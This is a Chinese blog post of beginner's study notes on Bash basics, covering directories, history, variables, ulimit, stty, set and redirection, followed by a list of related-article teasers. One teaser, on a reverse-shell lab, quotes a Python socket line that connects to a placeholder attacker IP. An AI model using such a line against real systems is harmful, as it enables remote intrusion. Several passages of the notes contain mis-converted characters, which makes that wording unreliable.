Bash

BASH的基本语法 最简单的例子——Hello World 首先新建一个文档,命名为hello $ gedit hello 在里面写入 #!/bin/bash # This is a very simple example echo Hello World 这样最简单的一个bash程序就写完了,这里需要说明几个问题: 第一行的#!是什么意思 第一行的/bin/bash又是什么意思 第二行是注释吗 echo是什么... 阅读详情

……………………这只是笔记

词汇补充

  • path 环境变量

由于早年的Unix年代,发展者众,所以由于shell依据发展着的不同就有了许多版本

https://zhidao.baidu.com/question/310105307.html

Shell的发展史

第一个-------------Steven Bourne -->Bourne shell ---->简称sh
第二个------------bill joy --------依附于BSD版的Unix系统中的shell-----C shell 简称Csh -------语法类似于C

CentOS是一种Linux的发行版本

http://baike.baidu.com/link?url=8R-QpCO8IqJfGxseRnLlsE6d0okkEQA4xYU5ZuUwx5OOO1nhUq40UDh35QredcWavrcyIPlS9MuvDeia8WhB4q#6_4

各种档案名

/etc etc是等等的意思,在linux中/etc文件存放配置文件
/etc/shell 虽然各家 shell 的功能都差不多,但是在某些语法的下达方面则有所不同,因此建议你还是得要选择某一种 shell 杢熟悉一下较佳。 Linux 预设就是使用 bash ,所以最初你只要学会 bash 就非常了不起了!
^_^! 另外,咦!为什么我们系统上合法的 shell 要写入 /etc/shells 这个档案啊? 这是因为系统某些
朋务在运作过程中,会去检查使用者能够使用癿的shells ,而这些 shell 的查询就是藉由 /etc/shells 这个
档案啰!

/bin bin本身不是一个文件,但是一般linux下可执行的命令都是放到bin目录下的 比如/bin或者/usr/bin等
.sh 是UNIX/LINUX 操作系统的脚本文件。

/bin/ — 用来贮存用户命令。目录 /usr/bin 也被用来贮存用户命令。
/sbin/ — 许多系统命令(例如 shutdown)的贮存位置。目录 /usr/sbin 中也包括了许多系统命令。
/root/ — 根用户(超级用户)的主目录。
/mnt/ — 该目录中通常包括系统引导后被挂载的文件系统的挂载点。譬如,默认的光盘挂载点是 /mnt/cdrom/ .
/boot/ — 包括内核和其它系统启动期间使用的文件。
/lost+found/ — 被 fsck 用来放置零散文件(没有名称的文件)。
/lib/ — 包含许多被 /bin/ 和 /sbin/ 中的程序使用的库文件。目录 /usr/lib/ 中含有更多用于用户程序的库文件。
/dev/ — 贮存设备文件。
/etc/ — 包含许多配置文件和目录。
/var/ — 用于贮存variable (或不断改变的)文件,例如日志文件和打印机假脱机文件。
/usr/ — 包括与系统用户直接有关的文件和目录,例如应用程序及支持它们的库文件。
/proc/ — 一个虚拟的文件系统(不是实际贮存在磁盘上的),它包括被某些程序使用的系统信息。
/initrd/ — 用来在计算机启动时挂载 initrd.img 映像文件的目录以及载入所需设备模块的目录。

/etc/profile文件中增加变量,该变量将会对Linux下所有用户有效,并且是“永久的”。

介绍Bash

命令编修能力(history)

这么多的指令记录在哪里呢?在你的家目录内的 .bash_history 啦! 不过,需要留意的是,
~/.bash_history 记录的是前一次登入以前所执行过的命令, 而至于这一次登入所执行的指令都被暂存
在内存中,当你成功的注销系统后,该指令记忆才会记录到 .bash_history 当中!


命令与档案补全能力:(【tab】按键的好处)

  • [Tab] 接在一串指令的第一个字的后面,则为命令补全;
  • [Tab] 接在一串指令的第二个字以后时,则为『档案补齐』!

命令别名设定功能(alias)

查看别名 alias
设定命名 alias xx= ‘xx(初始)’ ,例如 alias lm =’ls -al’


工作控制、前景背景控制—-待定


程序化脚本(shell scripts)

可以将你平时管理系统常需要下达的连续指令写成一个档案, 该档案并且可以透
过对谈交互式的方式来进行主机的侦测工作!也可以藉由 shell 提供的环境发量及相关指令来进行设计


通配符(Wiledcard)
ls -l /usr/bin/X* 列出/usr/bin下所有
以X开头的档案

Bash shell的内建命令:type—– 待定


指令的下达

指令太长 如 cp /var/spool/mail/root/ etc/crontab \
/etc/fstab/root


取用变量

  • echo $变量名
定义变量名
  • 1.myname = dskdhskld
  • 2.echo $myname
    1. 以上变量内容中如果有空格符,则使用双引号或单引号将变量内容结合起来。
      但是单引号和双引号最大不同在于双引号仍然可以保有变量的内容,双引号仍然可以保持内部符号的作用
      2.可以使用跳脱字符\ 将特殊的符号变成一般的字符—待定
      3.当内容为一个指令时候,可以用 ()或者一般先执行 ()内的内容
      比如version= (uname−r)−−−−−−ehco version —可得2.6.18-128.el5

取消变量
  • unset 变量名称

PS1——-待定 368

?:(关于上个执行指令的回传值)

echo $?
如果非0则错误。0则正确

OSTYPE, HOSTTYPE, MACHTYPE:(主机硬件不核心的等级)

export——待定 371


变量键盘读取、数组与宣告:read,array,declare

read

read [-pt] variable
-p 后面可以接提示符!
-t 后面可以接等待的秒数
variable 变量名称

declare/typeset(宣告变量的类型)

declare [-aixr] variable
-a 将后面名为variable的变量定义成为数组类型
-i 将后面名为variable的变量第一成为整数类型
-x 用法与export 一样,就是将后面vairabel变成环境变量
-r 将变量设定成为readonly类型,,该变量不可被梗概内容,也不能unset
variable 变量名称

  • 数组类型
    [root@www ~]# var[1]=”small min”
    [root@www ~]# var[2]=”big min”
    [root@www ~]# var[3]=”nice min”
    [root@www ~]# echo “ var[1], {var[2]}, ${var[3]}”
    small min, big min, nice min

与文件系统及程序的限制关系:ulimit

  • ulimit[-SHacdfltu][配额]
    -H :hard limit ,严格的限定,必定不能超过这个限定的数值;
    -S :soft limit ,警告癿讴定,可以赸过这个讴定值,但是若赸过则有警告讯
    息。
    在讴定上,通常 soft 会比 hard 小,丼例杢说,soft 可讴定为 80 而 hard
    讴定为 100,那么你可以使用刡 90 (因为没有赸过 100),但介亍 80~100
    乊间时,
    系统会有警告讯息通知你!
    -a :后面丌接任何选项不参数,可列出所有癿限刢额度;
    -c :当某些程序収生错诨时,系统可能会将该程序在内存中癿信息写成档案(除
    错用),
    这种档案就被称为核心档案(core file)。此为限刢每个核心档案癿最大容量。
    -f :此 shell 可以建立癿最大档案容量(一般可能讴定为 2GB)单位为 Kbytes
    -d :程序可使用癿最大断裂内存(segment)容量;
    -l :可用亍锁定 (lock) 癿内存量
    -t :可使用癿最大 CPU 时间 (单位为秒)
    -u :单一用户可以使用癿最大程序(process)数量。

linux下ctrl 常用组合键

http://blog.youkuaiyun.com/a_ran/article/details/38387495

    Ctrl+c 结束正在运行的程序

    Ctrl+d 结束输入或退出shell

    Ctrl+s 暂停屏幕输出【锁住终端】

    Ctrl+q 恢复屏幕输出【解锁终端】

    Ctrl+l 清屏,【是字母L的小写】等同于Clear

    Ctrl+a 切换到命令行开始

    Ctrl+e 切换到命令行末尾

    Ctrl+u 清除剪切光标之前的内容

    Ctrl+k 清除剪切光标及光标之后的内容
    Ctrl+y 在光标处粘贴剪切的内容
    Ctrl+r 查找历史命令【输入关键字,就能调出以前执行过的命令】

    Ctrl+t 调换光标所在处与其之前字符位置,并把光标移到下个字符
    Ctrl+x+u 撤销操作

    Ctrl+z 转入后台运行

history [n -c ]

history [-r -a-w] histfiles

n:数字,意思是要列出最近的n笔命令行表的意思
-c :将目前的shell 中的所有 history 内容全部消除
-a :将目前新增的 history 指令新增入 histfiles 中,若没有加 histfiles ,
则预设写入 ~/.bash_history
-r :将 histfiles 的内容读取目前这个 shell 的 history 记忆中;
-w :将目前的 history 记忆内容写入 histfiles 中!

!!执行红色那个一个命令
!n执行第n个命令 (默认存储1000条命令)

所有的Bash都有自己的1000笔记录在内存中,,等到注销时才会更新记录文件,所以注销的那个Bash才会是最后写入的数据。其实有被记录,只是被后来的最后一个Bash所覆盖更新了。


login 与 non-login shell 待定—


终端机的环境设定: stty, set

查看按键内容

stty [-a]

  • -a :将目前所有的stty参数列出来
  • 出现 ^ 表示 [Ctrl] 那个按键的意思。
  • eof : End of file 的意思,代表『结束输入』。
  • erase : 向后初除字符,
  • intr : 送出一个 interrupt (中断)的讯号给目前正在 run的程序;
  • kill : 初除在目前指令列上的所有文字; quit : 送出一个 quit的讯号给目前正在 run 的程序;
  • start : 在某个程序停止后,重新启动他的 output
  • stop : 停止目前屏幕的输出;
  • susp : 送出一个 terminal stop 的讯号给正在 run 的程序

set 待定392

[root@www ~]# set [-uvCHhmBx]
选项不参数:
-u :预设不启用。若启用后,当使用未讴定发量时,会显示错诨讯息;
-v :预设不启用。若启用后,在讯息被输出前,会先显示讯息的原始内容;
-x :预设不启用。若启用后,在挃令被执行前,会显示指令内容(前面有 ++ 符
号)
-h :预设启用。与历史命令有关;
-H :预设启用。与历史命令有关;
-m :预设启用。与工作管理有关;
-B :预设启用。与刮号[]的作用有关;
-C :预设不启用。若使用 > 等,则若档案存在时,该档案不会被覆盖。

>
将原本需要由键盘输入的数据,改由档案内容来取代
范例六:利用 ca指令来建立一个档案的简单流程
[root@www ~]# cat > catfile
testing
cat file test
<==这里按下[ctrl]+d 来离开

[root@www ~]# cat catfile
testing
cat file test
由亍加入 > 在 cat 后,所以那个 catfile 会被主劢癿建立

cat > catfile << “eof”

This is a test.
OK now stop
eof <==输入这关键词,立刻就结束而丌需要输入 [ctrl]+d
[root@www ~]# cat catfile
This is a test.
OK now stop
<==叧有这两行,不会存在关键词那一行

397—–

sudo 权限之危险的 bash 命令 命令,当前环境只开放了指定的命令,不包含 bash 命令,导致 tidb 在创建集群的时候报错了,于是,临时修改了 sudo 的权限配置,增加了 bash 命令的权限,于是乎,引发了思考,是不是给了 bash 的 sudo 权限,有这个命令权限的用户也能。愿大家都不会误删根目录,另外 tidb 你太狠了,普通用户创建完之后,直接给 tidb 用户加了所有命令的 sudo 免密配置,这真的不危险吗?家人们,这一步是在容器环境执行的,只是为了告诉大家风险有多高,别去生产玩,会去提篮桥的。模拟一下,名字不重要。 阅读详情

相关推荐

设置 windows terminal 默认打开 bash

Windows Terminal 是微软推出的一款现代化的终端应用程序,支持多种 shell,如 PowerShell、Cmd 和 Bash。对于经常需要使用 Linux 命令的开发者来说,将 Windows Terminal 默认设置为打开 Bash 可以提高工作效率。本文将介绍如何在 Windows Terminal 中设置默认打开 Bash。

加油啊,为了每一天。 1752

软RAID 0的技术概要及实现 v0.1b

原贴:http://www.linuxsir.org/main/?q=node/279软RAID 0的技术概要及实现 v0.1b (正在修订之中)作者:北南南北来自:LinuxSir.Org摘要: Software RAID 中译是软RAID ,软RAID 比如常用的有RAID 0 、RAID 1 、RAID 5、RAID 10 ;本文主要讲述RAID 0、1、5、10的基本概

最实用的Linux博客 1956

matlab液体湿润模拟,【水文模型】01 三水源新安江模型

目录一、概述1.1 流域概况1.2 产流方式论证1.3 设计基本任务1.4 设计原始资料二、新安江模型2.1 流域划分2.2 产汇流计算2.2.1 蒸散发计算2.2.2 产流计算2.2.3 水源划分2.2.4 汇流计算2.3 模型参数2.3.1 参数物理意义2.3.2 参数率定结果2.4 模拟结果2.4.1 精度统计表2.4.2 计算与实测流量过程线比较三、精度统计与误差分析3.1 精度统计3.2...

weixin_34173656的博客 5327

bash命令补全工具bash-completion

什么是shell ? 简单点理解,就是系统跟计算机硬件交互时使用的中间介质,它只是系统的一个工具。实际上,在shell和计算机硬件之间还有一层东西那就是系统内核了。 打个比方,如果把计算机硬件比作一个人的躯体,而系统内核则是人的大脑,至于shell,把它比作人的五官似乎更加贴切些。 回到计算机上来,用户直接面对的不是计算机硬件而是shell,用户把指令告诉shell,然后shell再传输给系统内核,接着内核再去支配计算机硬件去执行各种操作。 bash是 linux环境下面的命令行终端,对于命令和..

ChaITSimpleLove的博客 2万+

APM无人船测绘实战:从RTK、测深仪到图传的完整系统集成指南

本文提供了一套完整的APM无人船测绘系统集成实战指南。从RTK模块配置、测深仪数据同步到图传系统接入,详细解析了硬件选型、接线、软件参数调试及QGC地面站任务规划的全流程,旨在帮助用户将分散的部件整合为可自主执行水下地形测绘的可靠工具。

rr23456的博客 520

单细胞转录组数据分析全流程:从原始数据到细胞注释

本文详细介绍了单细胞转录组数据分析的全流程,从原始数据读取、环境搭建、数据质控与标准化,到降维聚类、细胞类型注释,以及高级质控与多样本整合。重点阐述了如何利用Seurat等工具进行数据处理,并通过标志基因比对与自动注释方法完成细胞身份鉴定,为研究者提供了一套清晰、可操作的分析指南。

coffee的博客 553

使用bash-it优化你的bash环境

使用bash-it优化你的bash环境 【免费下载链接】bash-it 项目地址: https://gitcode.com/gh_mirrors/bas/bash-it 1...

gitblog_00904的博客 1055

腾讯ACE反作弊系统:内核驱动与AI行为分析如何守护游戏公平

在游戏安全领域,反作弊技术是保障公平竞技环境的核心防线。其基本原理是通过监控系统关键行为,识别并阻断非法的第三方程序干预。从技术实现看,现代反作弊方案普遍采用分层防御架构,结合用户态模块进行应用层检测,并依赖内核态驱动实现底层深度监控,以此构建纵深防御体系。这种技术的核心价值在于,它能有效对抗从简单内存修改到高级驱动级作弊等多种威胁,维护游戏经济系统和玩家体验的完整性。随着作弊手段的演进,行为分析与AI赋能变得至关重要,系统通过机器学习模型分析进程行为序列的异常模式,即使面对未知特征的外挂变种也能进行有效识

weixin_33978578的博客 743

Bash 脚本学习

bin/bash# 无限循环与强制退出while true # 可使用 : 代替truedoprintf "条件true开始打印 \n"thenprintf "条件true,强制打印结束 \n"breakfidone# 有限循环与自动退出int=0while (( $int

@bangbang的博客 4124

【71页PPT】工业40及智能制造解决方案(附下载方式)

2013年,工业4.0平台发布白皮书,正式确立其发展战略。工业4.0不仅是技术的升级,更是制造业思维的重构。工业4.0的核心是通过信息物理系统(CPS)实现工厂内外的互联,构建高度灵活的个性化生产模式。它不仅是技术革新,更是一种生产方式的变革,使传统行业界限模糊化,催生新的商业模式和合作形式。德国作为制造业强国,其GDP的25%和出口总额的60%依赖制造业,因此工业4.0成为其维持全球领先地位的重要战略。CPS是工业4.0的基石,通过计算、通信与控制技术(3C)实现物理世界与信息世界的深度融合。

2501_92808811的博客 950

从SD更新字库到FLASH,再用LCD显示

用Flash当字库存储载体。思路是先将要用到的字库文件存在SD卡,然后存储到Flash,LCD显示时候从Flash中读取 还挺顺利的,移植的原子的程序,自己稍加修改,主要是我的液晶屏函数,Flash读写函数,还有存储文件的flash地址不一样。一晚上搞定,大小字体都OK。挺高兴哈哈。这几天忙工作事情有点耽搁了学习进展嘿嘿 在text.c的showstr函数中char的字体颜色随意设置的,可以显...

weixin_30505751的博客 914

Shell与Bash

shell是一个命令语言解释器,是用户和Linux内核之间的接口程序,用户在提示符下输入的每个命令都由shell先解释然后再传给Linux内核(如图)。当用户成功登入系统后shell就启动了,并始终作为你与系统内核的交互手段直至你退出系统。Bash(Bourne Again shell )是目前最常用的一种shell,也是当前大多数Linux发行版的默认Shell。除此之外还有Bourne shell (sh), C shell (csh), 和 Korn shell (ksh)等。

weixin_72517329的博客 3594

9篇2章2节:GBD 数据库的数据申请详解

无论您是初入公共卫生领域的学生、资深的科研工作者,还是政策决策者,GBD数据库都将成为您数据分析与决策支持中不可或缺的重要工具。

MD Code 2599

sh与bash的区别

sh与bash的区别,POSIX模式,bash扩展

leondryu的博客 1365

我的PCB设计经验总结及最容易犯错的100例之二B07

本文总结了PCB设计中的常见错误及解决方法。作者通过记录自身及他人的设计失误,系统归纳了高频、隐蔽且致命的问题,如电容中间穿线、高速信号跨分割、锐角布线等。重点提出从错误中提炼规律,建立分类案例库,并开发自动化检查工具的方法。案例涵盖高速信号处理、电源设计、EMC防护等关键领域,强调通过原理理解和实践验证提升设计质量。文章建议工程师建立个人错误数据库,从被动纠错升级为主动预防,最终形成系统化的设计方法论,提高PCB一次成功率。

启芯硬件的博客 83

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

Bash 手册 - 学习和掌握 Bash 脚本编程

Bash 手册 - 学习和掌握 Bash 脚本编程 1. 项目介绍 Bash Handbook 是一个开源项目,旨在提供详细的指南来帮助初学者和开发者学习和精通 Bash shell 编程。该项目由 Denys Dovhan 创作并托管在 GitHub 上,提供了中文等多语言版本,包括基础概念、命令行操作、脚本编写技巧以及一些高级话题。无论你是 Linux 或 macOS 用户,还是想要自动化日常...

gitblog_01064的博客 1024

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

Bash 脚本教程

……

u013669912的博客 1432

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

bash 脚本的执行方式

在 Bash 中,执行脚本可以通过多种方式,其中最常见的两种是使用bash直接运行脚本和使用source命令(或,即点命令)来执行。这两种方式有着根本的区别,它们对脚本的影响和脚本对环境的影响也不同。

weixin_42186805的博客 2313

Bash学习 - 第6章:Bash Features,第2节:Bash Startup Files

本文为的读书笔记。完整的笔记目录参见。

In-Memory Computing Technology 1134

Linux的循环,bash的循环

Bash 的for循环是一种非常灵活和强大的控制结构,适用于各种场景。通过理解不同的循环用法和选项,你可以编写出更强大、更高效的 Bash 脚本。# ...定义方式直接赋值:可以使用括号来定义数组,并在括号内指定数组的元素,元素之间用空格分隔。。逐个赋值:也可以逐个为数组元素赋值,通过指定索引来确定元素的位置。。动态定义:数组的大小可以根据需要动态调整,不需要事先指定固定的大小。你可以使用括号()来定义一个数组,并用空格分隔数组中的元素。# 定义一个包含字符串的数组。

kfepiza的博客 2625

Bash反弹shell

机器名称机器IP攻击机器实验靶机Python由荷兰数学和计算机科学研究学会的吉多·范罗苏姆于1990年代初设计,作为一门叫做ABC语 言的替代品。Python提供了高效的高级数据结构,还能简单有效地面向对象编程。Python语法和动 态类型,以及解释型语言的本质,使它成为多数平台上写脚本和快速开发应用的编程语言,随着版本 的不断更新和语言新功能的添加,逐渐被用于独立的、大型项目的开发。python反弹shell介绍python2s.connect(("攻击机器IP",端口));机器名称。

qq_64177395的博客 1460

Bash语言的算法

Bash是Unix Shell的一种实现,它兼容于Bourne Shell(sh),并包含许多扩展功能。用户可以通过Bash执行命令、编写脚本,甚至进行高级编程。```bash本文介绍了Bash语言的基本算法以及如何在日常任务中使用Bash进行文件操作、函数定义和数据结构处理。虽然Bash并不是用于开发大型应用程序的最佳选择,但在系统管理、脚本自动化等方面具有显著优势。通过深入理解Bash语言的能力和限制,您可以更有效地利用其提供的工具来提升工作效率。希望本文能激励您进一步探索Bash脚本编程的广阔天地。

2501_90777154的博客 1084

深入剖析一下 Bash 的源码

我们来深入剖析一下 Bash 的源码。这是一个非常经典且有影响力的项目,理解它的内部工作原理对深入学习 Linux/Unix 系统和编程语言的实现都大有裨益。这个 GitHub 仓库 https://github.com/bminor/bash 是 Bash 的官方开发仓库,主要维护者是。

u011091936的博客 1170

【Bash脚本】如何写出高效的Loops循环

【Bash脚本】如何写出高效的Loops循环,Bash脚本如何处理循环

代码说,代码让世界更美好。 1430

模拟实现Bash

Bash的基本认识;Bash的实现;添加细节;内置命令;Bash模拟实现完整代码

m0_73372323的博客 1199

终极Bash配置文件优化指南:bash-sensible让你的命令行更智能

在日常开发和系统管理中,Bash命令行是我们不可或缺的工具。然而,默认的Bash配置往往无法满足高效工作的需求。GitHub推荐项目精选中的awesome-bash项目收录了一个名为bash-sensible的工具,它致力于提供更合理的Bash默认设置,让你的命令行体验更智能、更高效。 ## 为什么需要优化Bash配置? 默认的Bash配置可能存在一些不够完善的地方,比如缺乏必要的别名、命令历

gitblog_00842的博客 1069
上一篇: 学习linux第一步——对于vim编辑器的认识及操作
下一篇: 前端的学习1
Alpaca_h
博客等级 码龄9年 0粉丝 18原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值